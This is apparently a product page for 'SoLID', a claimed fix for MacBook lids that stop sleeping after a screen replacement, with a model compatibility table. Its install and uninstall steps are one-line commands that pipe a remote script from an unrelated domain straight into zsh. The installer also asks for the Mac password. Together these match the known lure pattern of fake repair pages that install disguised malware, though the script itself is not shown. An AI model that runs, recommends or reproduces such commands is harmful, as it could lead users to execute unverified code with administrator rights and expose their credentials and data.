Replaced a MacBook screen and now the display stays on with the lid shut? The hinge sensor is fine. It just no longer agrees with the new screen about where closed is. SoLID reads that sensor live, learns the real closed point, and gives the Mac its normal lid behavior back.
curl -fsSL https://image2cpp.com/lid-calibration/install.sh | zshIt installs SoLID in Applications with a menu bar icon and starts it at login. If the Mac does not have Homebrew yet, the installer adds it first and asks for the Mac password once.
| Confirmed working | MacBook Pro 16-inch, 2024, M4 Pro. Model A3403, identifier Mac16,7, macOS 27. |
| Should work | Other M3 and M4 MacBook Pro and MacBook Air models. They use the same hinge lid angle sensor. Not yet confirmed, so tell us how it goes. |
| May not work | Some M1 and M2 models do not let software read the sensor. |
| Will not work | 2018 and older MacBooks. They use a magnet switch, not an angle sensor. |
| Easy way to know | Install it. If the gauge shows an angle, that Mac is supported. |
SoLID does not change Apple's factory calibration and does not modify the sensor. It runs on top of macOS and can be removed at any time with this line:
curl -fsSL https://image2cpp.com/lid-calibration/uninstall.sh | zshAfter a long closed spell on battery the Mac goes to full sleep to protect itself. Tap any key once after opening the lid.